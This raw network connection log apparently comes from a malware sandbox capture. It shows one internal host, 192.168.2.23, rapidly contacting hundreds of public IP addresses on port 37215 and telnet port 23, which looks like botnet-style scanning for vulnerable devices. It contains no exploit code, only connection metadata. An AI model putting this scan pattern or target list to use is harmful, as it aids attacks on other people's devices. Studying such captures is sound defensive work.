Dec 3, 2024 22:16:46.369961023 CET	37451	37215	192.168.2.23	41.150.172.212
Dec 3, 2024 22:16:46.369966984 CET	37451	37215	192.168.2.23	197.204.144.81
Dec 3, 2024 22:16:46.369981050 CET	37451	37215	192.168.2.23	156.9.123.214
Dec 3, 2024 22:16:46.369982958 CET	37451	37215	192.168.2.23	197.226.26.25
Dec 3, 2024 22:16:46.369991064 CET	37451	37215	192.168.2.23	41.154.208.214
Dec 3, 2024 22:16:46.369992018 CET	37451	37215	192.168.2.23	41.119.99.230
Dec 3, 2024 22:16:46.369991064 CET	37451	37215	192.168.2.23	156.87.238.22
Dec 3, 2024 22:16:46.369993925 CET	37451	37215	192.168.2.23	197.253.113.41
Dec 3, 2024 22:16:46.370009899 CET	37451	37215	192.168.2.23	41.246.175.144
Dec 3, 2024 22:16:46.370009899 CET	37451	37215	192.168.2.23	197.21.90.203
Dec 3, 2024 22:16:46.370009899 CET	37451	37215	192.168.2.23	156.227.212.78
Dec 3, 2024 22:16:46.370009899 CET	37451	37215	192.168.2.23	197.49.108.152
Dec 3, 2024 22:16:46.370028973 CET	53780	23	192.168.2.23	138.89.51.182
Dec 3, 2024 22:16:46.370028973 CET	37451	37215	192.168.2.23	41.233.92.135
Dec 3, 2024 22:16:46.370028973 CET	37451	37215	192.168.2.23	41.139.72.71
Dec 3, 2024 22:16:46.370038986 CET	37451	37215	192.168.2.23	197.126.21.115
Dec 3, 2024 22:16:46.370038986 CET	37451	37215	192.168.2.23	41.219.106.165
Dec 3, 2024 22:16:46.370038986 CET	37451	37215	192.168.2.23	156.244.60.231
Dec 3, 2024 22:16:46.370049000 CET	37451	37215	192.168.2.23	156.181.229.80
Dec 3, 2024 22:16:46.370059967 CET	37451	37215	192.168.2.23	41.190.73.254
Dec 3, 2024 22:16:46.370065928 CET	37451	37215	192.168.2.23	156.111.147.222
Dec 3, 2024 22:16:46.370068073 CET	37451	37215	192.168.2.23	156.203.83.34
Dec 3, 2024 22:16:46.370073080 CET	37451	37215	192.168.2.23	156.132.95.208
Dec 3, 2024 22:16:46.370081902 CET	37451	37215	192.168.2.23	156.125.253.49
Dec 3, 2024 22:16:46.370081902 CET	37451	37215	192.168.2.23	156.81.68.199
Dec 3, 2024 22:16:46.370085955 CET	37451	37215	192.168.2.23	197.137.16.252
Dec 3, 2024 22:16:46.370093107 CET	37451	37215	192.168.2.23	156.206.2.217
Dec 3, 2024 22:16:46.370104074 CET	37451	37215	192.168.2.23	197.175.253.195
Dec 3, 2024 22:16:46.370111942 CET	37451	37215	192.168.2.23	41.52.206.144
Dec 3, 2024 22:16:46.370120049 CET	37451	37215	192.168.2.23	197.25.58.43
Dec 3, 2024 22:16:46.370121956 CET	37451	37215	192.168.2.23	156.162.208.70
Dec 3, 2024 22:16:46.370124102 CET	37451	37215	192.168.2.23	41.191.116.134
Dec 3, 2024 22:16:46.370126963 CET	37451	37215	192.168.2.23	156.192.211.35
Dec 3, 2024 22:16:46.370146990 CET	37451	37215	192.168.2.23	41.171.147.18
Dec 3, 2024 22:16:46.370146990 CET	37451	37215	192.168.2.23	156.150.152.104
Dec 3, 2024 22:16:46.370146990 CET	37451	37215	192.168.2.23	41.199.87.247
Dec 3, 2024 22:16:46.370167017 CET	37451	37215	192.168.2.23	41.12.50.230
Dec 3, 2024 22:16:46.370167971 CET	37451	37215	192.168.2.23	197.60.11.237
Dec 3, 2024 22:16:46.370172977 CET	37451	37215	192.168.2.23	197.255.174.178
Dec 3, 2024 22:16:46.370174885 CET	37451	37215	192.168.2.23	41.150.228.37
Dec 3, 2024 22:16:46.370174885 CET	37451	37215	192.168.2.23	197.231.13.60
Dec 3, 2024 22:16:46.370198965 CET	37451	37215	192.168.2.23	156.21.55.67
Dec 3, 2024 22:16:46.370203972 CET	37451	37215	192.168.2.23	156.77.164.244
Dec 3, 2024 22:16:46.370209932 CET	37451	37215	192.168.2.23	156.217.15.40
Dec 3, 2024 22:16:46.370213985 CET	37451	37215	192.168.2.23	41.144.48.46
Dec 3, 2024 22:16:46.370222092 CET	37451	37215	192.168.2.23	156.192.212.173
Dec 3, 2024 22:16:46.370223045 CET	37451	37215	192.168.2.23	41.43.242.154
Dec 3, 2024 22:16:46.370223999 CET	37451	37215	192.168.2.23	156.37.109.217
Dec 3, 2024 22:16:46.370223045 CET	37451	37215	192.168.2.23	156.54.108.228
Dec 3, 2024 22:16:46.370223999 CET	37451	37215	192.168.2.23	156.215.197.10
Dec 3, 2024 22:16:46.370223999 CET	37451	37215	192.168.2.23	197.88.115.11
Dec 3, 2024 22:16:46.370229006 CET	37451	37215	192.168.2.23	156.22.19.104
Dec 3, 2024 22:16:46.370242119 CET	37451	37215	192.168.2.23	197.107.29.30
Dec 3, 2024 22:16:46.370245934 CET	37451	37215	192.168.2.23	41.128.164.67
Dec 3, 2024 22:16:46.370245934 CET	37451	37215	192.168.2.23	197.81.2.117
Dec 3, 2024 22:16:46.370254993 CET	37451	37215	192.168.2.23	41.184.208.153
Dec 3, 2024 22:16:46.370261908 CET	37451	37215	192.168.2.23	41.218.152.73
Dec 3, 2024 22:16:46.370264053 CET	37451	37215	192.168.2.23	197.133.139.233
Dec 3, 2024 22:16:46.370264053 CET	37451	37215	192.168.2.23	156.227.83.30
Dec 3, 2024 22:16:46.370266914 CET	37451	37215	192.168.2.23	156.31.12.248
Dec 3, 2024 22:16:46.370269060 CET	37451	37215	192.168.2.23	41.249.235.248
Dec 3, 2024 22:16:46.370273113 CET	37451	37215	192.168.2.23	197.17.88.173
Dec 3, 2024 22:16:46.370273113 CET	37451	37215	192.168.2.23	156.111.243.180
Dec 3, 2024 22:16:46.370274067 CET	37451	37215	192.168.2.23	41.251.171.46
Dec 3, 2024 22:16:46.370285034 CET	37451	37215	192.168.2.23	197.65.76.231
Dec 3, 2024 22:16:46.370299101 CET	37451	37215	192.168.2.23	197.242.253.234
Dec 3, 2024 22:16:46.370300055 CET	37451	37215	192.168.2.23	41.170.46.46
Dec 3, 2024 22:16:46.370300055 CET	37451	37215	192.168.2.23	156.245.155.15
Dec 3, 2024 22:16:46.370305061 CET	37451	37215	192.168.2.23	197.218.61.184
Dec 3, 2024 22:16:46.370306015 CET	37451	37215	192.168.2.23	156.170.30.227
Dec 3, 2024 22:16:46.370305061 CET	37451	37215	192.168.2.23	41.90.221.193
Dec 3, 2024 22:16:46.370306969 CET	37451	37215	192.168.2.23	41.101.157.199
Dec 3, 2024 22:16:46.370325089 CET	37451	37215	192.168.2.23	197.209.247.54
Dec 3, 2024 22:16:46.370326042 CET	37451	37215	192.168.2.23	156.155.126.94
Dec 3, 2024 22:16:46.370331049 CET	37451	37215	192.168.2.23	156.42.96.97
Dec 3, 2024 22:16:46.370347023 CET	37451	37215	192.168.2.23	41.222.216.8
Dec 3, 2024 22:16:46.370347977 CET	37451	37215	192.168.2.23	156.61.87.134
Dec 3, 2024 22:16:46.370353937 CET	37451	37215	192.168.2.23	156.18.126.79
Dec 3, 2024 22:16:46.370368004 CET	37451	37215	192.168.2.23	197.162.52.111
Dec 3, 2024 22:16:46.370369911 CET	37451	37215	192.168.2.23	156.55.152.95
Dec 3, 2024 22:16:46.370376110 CET	37451	37215	192.168.2.23	41.106.133.157
Dec 3, 2024 22:16:46.370377064 CET	37451	37215	192.168.2.23	156.85.196.75
Dec 3, 2024 22:16:46.370378017 CET	37451	37215	192.168.2.23	197.120.213.121
Dec 3, 2024 22:16:46.370383024 CET	37451	37215	192.168.2.23	197.142.75.45
Dec 3, 2024 22:16:46.370383978 CET	37451	37215	192.168.2.23	156.58.46.173
Dec 3, 2024 22:16:46.370383024 CET	37451	37215	192.168.2.23	41.242.22.240
Dec 3, 2024 22:16:46.370383978 CET	37451	37215	192.168.2.23	41.243.191.19
Dec 3, 2024 22:16:46.370387077 CET	37451	37215	192.168.2.23	197.170.157.180
Dec 3, 2024 22:16:46.370394945 CET	37451	37215	192.168.2.23	156.232.80.102
Dec 3, 2024 22:16:46.370404959 CET	37451	37215	192.168.2.23	197.73.85.243
Dec 3, 2024 22:16:46.370409966 CET	37451	37215	192.168.2.23	156.27.83.87
Dec 3, 2024 22:16:46.370409966 CET	37451	37215	192.168.2.23	41.58.64.53
Dec 3, 2024 22:16:46.370409966 CET	37451	37215	192.168.2.23	197.70.132.189
Dec 3, 2024 22:16:46.370415926 CET	37451	37215	192.168.2.23	41.100.56.233
Dec 3, 2024 22:16:46.370425940 CET	37451	37215	192.168.2.23	197.196.99.7
Dec 3, 2024 22:16:46.370425940 CET	37451	37215	192.168.2.23	156.70.239.179
Dec 3, 2024 22:16:46.370433092 CET	37451	37215	192.168.2.23	156.231.236.234
Dec 3, 2024 22:16:46.370434999 CET	37451	37215	192.168.2.23	156.32.68.230
Dec 3, 2024 22:16:46.370440960 CET	37451	37215	192.168.2.23	156.195.135.4
Dec 3, 2024 22:16:46.370449066 CET	37451	37215	192.168.2.23	156.147.65.246
Dec 3, 2024 22:16:46.370454073 CET	37451	37215	192.168.2.23	156.38.46.202
Dec 3, 2024 22:16:46.370455980 CET	37451	37215	192.168.2.23	41.134.143.134
Dec 3, 2024 22:16:46.370462894 CET	37451	37215	192.168.2.23	197.37.225.32
Dec 3, 2024 22:16:46.370471001 CET	37451	37215	192.168.2.23	41.231.11.226
Dec 3, 2024 22:16:46.370475054 CET	37451	37215	192.168.2.23	156.82.134.10
Dec 3, 2024 22:16:46.370490074 CET	37451	37215	192.168.2.23	197.222.41.135
Dec 3, 2024 22:16:46.370491028 CET	37451	37215	192.168.2.23	41.27.47.167
Dec 3, 2024 22:16:46.370501041 CET	37451	37215	192.168.2.23	197.137.63.56
Dec 3, 2024 22:16:46.370516062 CET	37451	37215	192.168.2.23	197.198.255.101
Dec 3, 2024 22:16:46.370517969 CET	37451	37215	192.168.2.23	41.172.181.151
Dec 3, 2024 22:16:46.370523930 CET	37451	37215	192.168.2.23	41.83.56.255
Dec 3, 2024 22:16:46.370527029 CET	37451	37215	192.168.2.23	156.12.245.15
Dec 3, 2024 22:16:46.370528936 CET	37451	37215	192.168.2.23	197.204.220.147
Dec 3, 2024 22:16:46.370534897 CET	37451	37215	192.168.2.23	156.165.105.65
Dec 3, 2024 22:16:46.370534897 CET	37451	37215	192.168.2.23	156.177.83.182
Dec 3, 2024 22:16:46.370536089 CET	37451	37215	192.168.2.23	156.168.24.23
Dec 3, 2024 22:16:46.370536089 CET	37451	37215	192.168.2.23	41.215.10.197
Dec 3, 2024 22:16:46.370536089 CET	37451	37215	192.168.2.23	156.45.179.84
Dec 3, 2024 22:16:46.370537043 CET	37451	37215	192.168.2.23	156.137.89.132
Dec 3, 2024 22:16:46.370539904 CET	37451	37215	192.168.2.23	197.50.75.62
Dec 3, 2024 22:16:46.370544910 CET	53486	23	192.168.2.23	162.137.178.59
Dec 3, 2024 22:16:46.370548010 CET	37451	37215	192.168.2.23	156.121.77.254
Dec 3, 2024 22:16:46.370548964 CET	37451	37215	192.168.2.23	156.41.122.94
Dec 3, 2024 22:16:46.370560884 CET	37451	37215	192.168.2.23	156.209.181.78
Dec 3, 2024 22:16:46.370562077 CET	37451	37215	192.168.2.23	41.44.25.199
Dec 3, 2024 22:16:46.370562077 CET	37451	37215	192.168.2.23	156.251.91.129
Dec 3, 2024 22:16:46.370563984 CET	37451	37215	192.168.2.23	41.65.104.189
Dec 3, 2024 22:16:46.370584011 CET	37451	37215	192.168.2.23	156.72.125.131
Dec 3, 2024 22:16:46.370589018 CET	37451	37215	192.168.2.23	41.53.36.21
Dec 3, 2024 22:16:46.370589018 CET	37451	37215	192.168.2.23	41.250.86.168
Dec 3, 2024 22:16:46.370592117 CET	37451	37215	192.168.2.23	156.45.111.140
Dec 3, 2024 22:16:46.370594978 CET	37451	37215	192.168.2.23	197.13.154.110
Dec 3, 2024 22:16:46.370603085 CET	37451	37215	192.168.2.23	197.62.34.179
Dec 3, 2024 22:16:46.370609045 CET	37451	37215	192.168.2.23	156.81.169.98
Dec 3, 2024 22:16:46.370611906 CET	37451	37215	192.168.2.23	197.176.202.162
Dec 3, 2024 22:16:46.370621920 CET	37451	37215	192.168.2.23	156.152.229.46
Dec 3, 2024 22:16:46.370621920 CET	37451	37215	192.168.2.23	197.162.67.193
Dec 3, 2024 22:16:46.370636940 CET	37451	37215	192.168.2.23	156.215.171.156
Dec 3, 2024 22:16:46.370637894 CET	37451	37215	192.168.2.23	41.9.170.249
Dec 3, 2024 22:16:46.370639086 CET	37451	37215	192.168.2.23	41.46.164.146
Dec 3, 2024 22:16:46.370647907 CET	37451	37215	192.168.2.23	156.200.27.202
Dec 3, 2024 22:16:46.370649099 CET	37451	37215	192.168.2.23	156.135.64.8
Dec 3, 2024 22:16:46.370649099 CET	37451	37215	192.168.2.23	197.185.197.33
Dec 3, 2024 22:16:46.370649099 CET	37451	37215	192.168.2.23	41.182.67.148
Dec 3, 2024 22:16:46.370659113 CET	37451	37215	192.168.2.23	197.183.125.59
Dec 3, 2024 22:16:46.370666981 CET	37451	37215	192.168.2.23	41.162.216.95
Dec 3, 2024 22:16:46.370678902 CET	37451	37215	192.168.2.23	197.152.102.41
Dec 3, 2024 22:16:46.370685101 CET	37451	37215	192.168.2.23	197.50.150.144
Dec 3, 2024 22:16:46.370687008 CET	37451	37215	192.168.2.23	41.89.38.218
Dec 3, 2024 22:16:46.370687962 CET	37451	37215	192.168.2.23	41.224.34.217
Dec 3, 2024 22:16:46.370696068 CET	37451	37215	192.168.2.23	41.163.41.16
Dec 3, 2024 22:16:46.370706081 CET	37451	37215	192.168.2.23	197.107.204.24
Dec 3, 2024 22:16:46.370711088 CET	37451	37215	192.168.2.23	156.70.1.191
Dec 3, 2024 22:16:46.370721102 CET	37451	37215	192.168.2.23	156.91.112.248
Dec 3, 2024 22:16:46.370721102 CET	37451	37215	192.168.2.23	197.199.175.66
Dec 3, 2024 22:16:46.370733023 CET	37451	37215	192.168.2.23	41.19.255.231
Dec 3, 2024 22:16:46.370743036 CET	37451	37215	192.168.2.23	197.13.64.241
Dec 3, 2024 22:16:46.370744944 CET	37451	37215	192.168.2.23	156.138.24.166
Dec 3, 2024 22:16:46.370745897 CET	37451	37215	192.168.2.23	156.18.48.27
Dec 3, 2024 22:16:46.370747089 CET	37451	37215	192.168.2.23	156.82.118.86
Dec 3, 2024 22:16:46.370750904 CET	37451	37215	192.168.2.23	156.45.182.133
Dec 3, 2024 22:16:46.370753050 CET	37451	37215	192.168.2.23	41.172.107.212
Dec 3, 2024 22:16:46.370765924 CET	37451	37215	192.168.2.23	41.68.120.9
Dec 3, 2024 22:16:46.370769978 CET	37451	37215	192.168.2.23	197.232.72.79
Dec 3, 2024 22:16:46.370769978 CET	37451	37215	192.168.2.23	156.66.233.84
Dec 3, 2024 22:16:46.370783091 CET	37451	37215	192.168.2.23	41.210.147.184
Dec 3, 2024 22:16:46.370790005 CET	37451	37215	192.168.2.23	41.136.109.53
Dec 3, 2024 22:16:46.370790005 CET	37451	37215	192.168.2.23	41.196.81.31
Dec 3, 2024 22:16:46.370795012 CET	37451	37215	192.168.2.23	41.226.239.160
Dec 3, 2024 22:16:46.370798111 CET	37451	37215	192.168.2.23	156.183.244.46
Dec 3, 2024 22:16:46.370798111 CET	37451	37215	192.168.2.23	41.34.181.145
Dec 3, 2024 22:16:46.370810032 CET	37451	37215	192.168.2.23	197.213.212.78
Dec 3, 2024 22:16:46.370820999 CET	37451	37215	192.168.2.23	197.130.25.144
Dec 3, 2024 22:16:46.370826006 CET	37451	37215	192.168.2.23	156.101.14.244
Dec 3, 2024 22:16:46.370829105 CET	37451	37215	192.168.2.23	197.81.96.118
Dec 3, 2024 22:16:46.370831966 CET	37451	37215	192.168.2.23	197.183.206.3
Dec 3, 2024 22:16:46.370841980 CET	37451	37215	192.168.2.23	156.59.120.63
Dec 3, 2024 22:16:46.370852947 CET	37451	37215	192.168.2.23	156.116.218.239
Dec 3, 2024 22:16:46.370862961 CET	37451	37215	192.168.2.23	197.47.238.153
Dec 3, 2024 22:16:46.370862961 CET	37451	37215	192.168.2.23	156.177.114.44
Dec 3, 2024 22:16:46.370863914 CET	37451	37215	192.168.2.23	156.165.88.49
Dec 3, 2024 22:16:46.370867014 CET	37451	37215	192.168.2.23	197.117.196.197
Dec 3, 2024 22:16:46.370878935 CET	37451	37215	192.168.2.23	41.75.67.45
Dec 3, 2024 22:16:46.370884895 CET	37451	37215	192.168.2.23	197.249.201.29
Dec 3, 2024 22:16:46.370887995 CET	37451	37215	192.168.2.23	197.168.224.90
Dec 3, 2024 22:16:46.370889902 CET	37451	37215	192.168.2.23	156.97.195.71
Dec 3, 2024 22:16:46.370893955 CET	37451	37215	192.168.2.23	197.30.182.53
Dec 3, 2024 22:16:46.370893955 CET	37451	37215	192.168.2.23	197.81.69.241
Dec 3, 2024 22:16:46.370894909 CET	37451	37215	192.168.2.23	156.220.36.155
Dec 3, 2024 22:16:46.370894909 CET	37451	37215	192.168.2.23	156.102.2.73
Dec 3, 2024 22:16:46.370908022 CET	37451	37215	192.168.2.23	197.247.12.241
Dec 3, 2024 22:16:46.370918989 CET	37451	37215	192.168.2.23	197.188.47.117
Dec 3, 2024 22:16:46.370920897 CET	37451	37215	192.168.2.23	156.158.185.243
Dec 3, 2024 22:16:46.370924950 CET	37451	37215	192.168.2.23	156.211.152.57
Dec 3, 2024 22:16:46.370924950 CET	37451	37215	192.168.2.23	197.33.202.29
Dec 3, 2024 22:16:46.370924950 CET	37451	37215	192.168.2.23	41.242.123.105
Dec 3, 2024 22:16:46.370929956 CET	37451	37215	192.168.2.23	156.8.167.59
Dec 3, 2024 22:16:46.370929956 CET	37451	37215	192.168.2.23	41.71.217.149
Dec 3, 2024 22:16:46.370937109 CET	37451	37215	192.168.2.23	156.226.181.110
Dec 3, 2024 22:16:46.370945930 CET	37451	37215	192.168.2.23	197.97.24.238
Dec 3, 2024 22:16:46.370949030 CET	37451	37215	192.168.2.23	156.145.254.73
Dec 3, 2024 22:16:46.370949984 CET	37451	37215	192.168.2.23	197.99.143.102
Dec 3, 2024 22:16:46.370954990 CET	37451	37215	192.168.2.23	156.161.181.124
Dec 3, 2024 22:16:46.370956898 CET	37451	37215	192.168.2.23	41.156.107.49
Dec 3, 2024 22:16:46.370960951 CET	37451	37215	192.168.2.23	197.69.71.37
Dec 3, 2024 22:16:46.370960951 CET	37451	37215	192.168.2.23	197.31.147.170
Dec 3, 2024 22:16:46.370960951 CET	37451	37215	192.168.2.23	156.238.75.112
Dec 3, 2024 22:16:46.370963097 CET	37451	37215	192.168.2.23	197.117.19.200
Dec 3, 2024 22:16:46.370973110 CET	37451	37215	192.168.2.23	156.146.143.59
Dec 3, 2024 22:16:46.370975971 CET	37451	37215	192.168.2.23	156.205.254.72
Dec 3, 2024 22:16:46.370981932 CET	37451	37215	192.168.2.23	197.32.36.231
Dec 3, 2024 22:16:46.370982885 CET	37451	37215	192.168.2.23	197.164.130.99
Dec 3, 2024 22:16:46.370994091 CET	37451	37215	192.168.2.23	197.153.243.24
Dec 3, 2024 22:16:46.370994091 CET	37451	37215	192.168.2.23	156.116.100.155
Dec 3, 2024 22:16:46.371001005 CET	37451	37215	192.168.2.23	156.237.61.90
Dec 3, 2024 22:16:46.371001005 CET	37451	37215	192.168.2.23	197.65.121.216
Dec 3, 2024 22:16:46.371002913 CET	37451	37215	192.168.2.23	156.232.245.149
Dec 3, 2024 22:16:46.371016979 CET	37451	37215	192.168.2.23	41.5.46.61
Dec 3, 2024 22:16:46.371018887 CET	37451	37215	192.168.2.23	156.184.64.79
Dec 3, 2024 22:16:46.371028900 CET	37451	37215	192.168.2.23	41.73.88.55
Dec 3, 2024 22:16:46.371031046 CET	37451	37215	192.168.2.23	41.211.51.36
Dec 3, 2024 22:16:46.371032000 CET	37451	37215	192.168.2.23	156.209.143.50
Dec 3, 2024 22:16:46.371036053 CET	37451	37215	192.168.2.23	41.17.159.55
Dec 3, 2024 22:16:46.371046066 CET	37451	37215	192.168.2.23	41.59.190.235
Dec 3, 2024 22:16:46.371048927 CET	37451	37215	192.168.2.23	197.59.234.229
Dec 3, 2024 22:16:46.371052980 CET	37451	37215	192.168.2.23	156.223.29.241
Dec 3, 2024 22:16:46.371069908 CET	37451	37215	192.168.2.23	156.42.152.244
Dec 3, 2024 22:16:46.371071100 CET	37451	37215	192.168.2.23	156.148.208.219
Dec 3, 2024 22:16:46.371082067 CET	37451	37215	192.168.2.23	197.1.55.248
Dec 3, 2024 22:16:46.371083975 CET	37451	37215	192.168.2.23	197.108.247.122
Dec 3, 2024 22:16:46.371083975 CET	37451	37215	192.168.2.23	41.217.171.0
Dec 3, 2024 22:16:46.371102095 CET	37451	37215	192.168.2.23	41.208.146.192
Dec 3, 2024 22:16:46.371104002 CET	41656	23	192.168.2.23	65.17.144.215
Dec 3, 2024 22:16:46.371105909 CET	37451	37215	192.168.2.23	156.40.94.25
Dec 3, 2024 22:16:46.371109009 CET	37451	37215	192.168.2.23	197.252.100.104
Dec 3, 2024 22:16:46.371110916 CET	37451	37215	192.168.2.23	156.150.157.215
Dec 3, 2024 22:16:46.371112108 CET	37451	37215	192.168.2.23	41.232.240.132
Dec 3, 2024 22:16:46.371123075 CET	37451	37215	192.168.2.23	41.255.78.214
Dec 3, 2024 22:16:46.371129990 CET	37451	37215	192.168.2.23	156.131.65.130
Dec 3, 2024 22:16:46.371134996 CET	37451	37215	192.168.2.23	197.200.77.84
Dec 3, 2024 22:16:46.371138096 CET	37451	37215	192.168.2.23	156.85.87.12
Dec 3, 2024 22:16:46.371138096 CET	37451	37215	192.168.2.23	156.183.73.49
Dec 3, 2024 22:16:46.371157885 CET	37451	37215	192.168.2.23	156.211.246.7
Dec 3, 2024 22:16:46.371157885 CET	37451	37215	192.168.2.23	41.9.132.105
Dec 3, 2024 22:16:46.371160984 CET	37451	37215	192.168.2.23	156.169.130.79
Dec 3, 2024 22:16:46.371160984 CET	37451	37215	192.168.2.23	197.127.217.123
Dec 3, 2024 22:16:46.371169090 CET	37451	37215	192.168.2.23	156.221.124.26
Dec 3, 2024 22:16:46.371171951 CET	37451	37215	192.168.2.23	156.112.252.96
Dec 3, 2024 22:16:46.371190071 CET	37451	37215	192.168.2.23	41.99.80.168
Dec 3, 2024 22:16:46.371190071 CET	37451	37215	192.168.2.23	156.226.71.243
Dec 3, 2024 22:16:46.371190071 CET	37451	37215	192.168.2.23	41.225.208.205
Dec 3, 2024 22:16:46.371191978 CET	37451	37215	192.168.2.23	197.158.243.39
Dec 3, 2024 22:16:46.371195078 CET	37451	37215	192.168.2.23	156.119.108.53
Dec 3, 2024 22:16:46.371196985 CET	37451	37215	192.168.2.23	156.24.72.138
Dec 3, 2024 22:16:46.371196985 CET	37451	37215	192.168.2.23	41.42.10.54
Dec 3, 2024 22:16:46.371197939 CET	37451	37215	192.168.2.23	156.242.32.72
Dec 3, 2024 22:16:46.371907949 CET	44360	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:46.371987104 CET	41164	23	192.168.2.23	38.37.142.117
Dec 3, 2024 22:16:46.373173952 CET	49278	23	192.168.2.23	24.173.255.63
Dec 3, 2024 22:16:46.373275042 CET	59658	37215	192.168.2.23	156.21.203.122
Dec 3, 2024 22:16:46.374207020 CET	46664	23	192.168.2.23	148.141.213.187
Dec 3, 2024 22:16:46.374743938 CET	41494	23	192.168.2.23	166.116.124.142
Dec 3, 2024 22:16:46.375261068 CET	44078	23	192.168.2.23	81.174.14.55
Dec 3, 2024 22:16:46.375796080 CET	45678	23	192.168.2.23	166.178.40.154
Dec 3, 2024 22:16:46.376310110 CET	51974	23	192.168.2.23	120.34.41.226
Dec 3, 2024 22:16:46.376836061 CET	49174	23	192.168.2.23	47.182.6.32
Dec 3, 2024 22:16:46.377338886 CET	58926	23	192.168.2.23	167.201.159.17
Dec 3, 2024 22:16:46.377860069 CET	36202	23	192.168.2.23	12.225.5.44
Dec 3, 2024 22:16:46.378391981 CET	42524	23	192.168.2.23	105.78.15.47
Dec 3, 2024 22:16:46.378906965 CET	60246	23	192.168.2.23	122.183.52.229
Dec 3, 2024 22:16:46.379425049 CET	59946	23	192.168.2.23	156.201.206.55
Dec 3, 2024 22:16:46.379924059 CET	38894	23	192.168.2.23	137.65.128.222
Dec 3, 2024 22:16:46.380453110 CET	53002	23	192.168.2.23	80.44.160.30
Dec 3, 2024 22:16:46.380964041 CET	40012	23	192.168.2.23	49.223.63.176
Dec 3, 2024 22:16:46.381477118 CET	39530	23	192.168.2.23	89.98.132.205
Dec 3, 2024 22:16:46.382010937 CET	36198	23	192.168.2.23	94.203.116.133
Dec 3, 2024 22:16:46.382514954 CET	34042	23	192.168.2.23	200.179.142.186
Dec 3, 2024 22:16:46.383039951 CET	55206	23	192.168.2.23	38.168.179.82
Dec 3, 2024 22:16:46.383539915 CET	58522	23	192.168.2.23	211.170.195.29
Dec 3, 2024 22:16:46.384054899 CET	32862	23	192.168.2.23	72.149.206.7
Dec 3, 2024 22:16:46.384568930 CET	45362	23	192.168.2.23	40.190.232.121
Dec 3, 2024 22:16:46.385090113 CET	36888	23	192.168.2.23	112.192.47.84
Dec 3, 2024 22:16:46.385644913 CET	41366	23	192.168.2.23	61.140.179.31
Dec 3, 2024 22:16:46.386167049 CET	38762	23	192.168.2.23	14.136.60.58
Dec 3, 2024 22:16:46.386698961 CET	60956	23	192.168.2.23	93.95.253.23
Dec 3, 2024 22:16:46.387222052 CET	54480	23	192.168.2.23	125.237.138.50
Dec 3, 2024 22:16:46.387773991 CET	51330	23	192.168.2.23	83.102.163.33
Dec 3, 2024 22:16:46.388312101 CET	48148	23	192.168.2.23	125.84.57.9
Dec 3, 2024 22:16:46.388824940 CET	40236	23	192.168.2.23	148.28.150.230
Dec 3, 2024 22:16:46.389350891 CET	37900	23	192.168.2.23	176.247.191.135
Dec 3, 2024 22:16:46.389863968 CET	44546	23	192.168.2.23	208.86.31.164
Dec 3, 2024 22:16:46.390376091 CET	59540	23	192.168.2.23	166.84.255.141
Dec 3, 2024 22:16:46.390901089 CET	47988	23	192.168.2.23	213.100.154.141
Dec 3, 2024 22:16:46.391437054 CET	54036	23	192.168.2.23	60.141.204.104
Dec 3, 2024 22:16:46.391948938 CET	54964	23	192.168.2.23	116.184.207.141
Dec 3, 2024 22:16:46.392474890 CET	43886	23	192.168.2.23	211.12.225.239
Dec 3, 2024 22:16:46.392991066 CET	46578	23	192.168.2.23	139.181.141.30
Dec 3, 2024 22:16:46.393512011 CET	53182	23	192.168.2.23	14.97.93.179
Dec 3, 2024 22:16:46.394037008 CET	47590	23	192.168.2.23	199.11.198.104
Dec 3, 2024 22:16:46.394578934 CET	35242	23	192.168.2.23	197.93.225.174
Dec 3, 2024 22:16:46.395119905 CET	48844	23	192.168.2.23	152.252.247.173
Dec 3, 2024 22:16:46.395647049 CET	39378	23	192.168.2.23	79.53.251.48
Dec 3, 2024 22:16:46.396171093 CET	46702	23	192.168.2.23	25.6.238.245
Dec 3, 2024 22:16:46.396694899 CET	50950	23	192.168.2.23	216.78.50.24
Dec 3, 2024 22:16:46.397205114 CET	52702	23	192.168.2.23	130.157.140.107
Dec 3, 2024 22:16:46.397721052 CET	38502	23	192.168.2.23	42.86.18.115
Dec 3, 2024 22:16:46.398224115 CET	48380	23	192.168.2.23	58.65.250.96
Dec 3, 2024 22:16:46.400116920 CET	59604	23	192.168.2.23	5.25.42.222
Dec 3, 2024 22:16:46.400676012 CET	52586	23	192.168.2.23	84.217.119.41
Dec 3, 2024 22:16:46.401209116 CET	40166	23	192.168.2.23	157.41.24.138
Dec 3, 2024 22:16:46.401720047 CET	46978	23	192.168.2.23	105.153.112.0
Dec 3, 2024 22:16:46.402249098 CET	60280	23	192.168.2.23	145.39.58.37
Dec 3, 2024 22:16:46.402796030 CET	41598	23	192.168.2.23	117.139.0.81
Dec 3, 2024 22:16:46.403322935 CET	52848	23	192.168.2.23	41.247.141.109
Dec 3, 2024 22:16:46.403831005 CET	58768	23	192.168.2.23	220.156.31.62
Dec 3, 2024 22:16:46.404349089 CET	40556	23	192.168.2.23	175.61.25.68
Dec 3, 2024 22:16:46.404861927 CET	57480	23	192.168.2.23	64.67.194.159
Dec 3, 2024 22:16:46.405395985 CET	38950	23	192.168.2.23	195.45.33.112
Dec 3, 2024 22:16:46.405917883 CET	54372	23	192.168.2.23	110.166.149.61
Dec 3, 2024 22:16:46.406460047 CET	52240	23	192.168.2.23	180.102.127.3
Dec 3, 2024 22:16:46.407001972 CET	55230	23	192.168.2.23	92.59.47.37
Dec 3, 2024 22:16:46.407574892 CET	54142	23	192.168.2.23	204.250.237.239
Dec 3, 2024 22:16:46.408159018 CET	43276	23	192.168.2.23	125.233.110.253
Dec 3, 2024 22:16:46.469333887 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 22:16:46.469500065 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:16:46.473095894 CET	23	37963	37.245.241.166	192.168.2.23
Dec 3, 2024 22:16:46.473107100 CET	23	37963	109.226.109.56	192.168.2.23
Dec 3, 2024 22:16:46.473114967 CET	23	37963	2.217.19.38	192.168.2.23
Dec 3, 2024 22:16:46.473134995 CET	23	37963	27.67.166.36	192.168.2.23
Dec 3, 2024 22:16:46.473143101 CET	23	37963	153.53.82.129	192.168.2.23
Dec 3, 2024 22:16:46.473151922 CET	23	37963	12.36.219.57	192.168.2.23
Dec 3, 2024 22:16:46.473160982 CET	37963	23	192.168.2.23	37.245.241.166
Dec 3, 2024 22:16:46.473167896 CET	37963	23	192.168.2.23	109.226.109.56
Dec 3, 2024 22:16:46.473171949 CET	37963	23	192.168.2.23	2.217.19.38
Dec 3, 2024 22:16:46.473176956 CET	37963	23	192.168.2.23	27.67.166.36
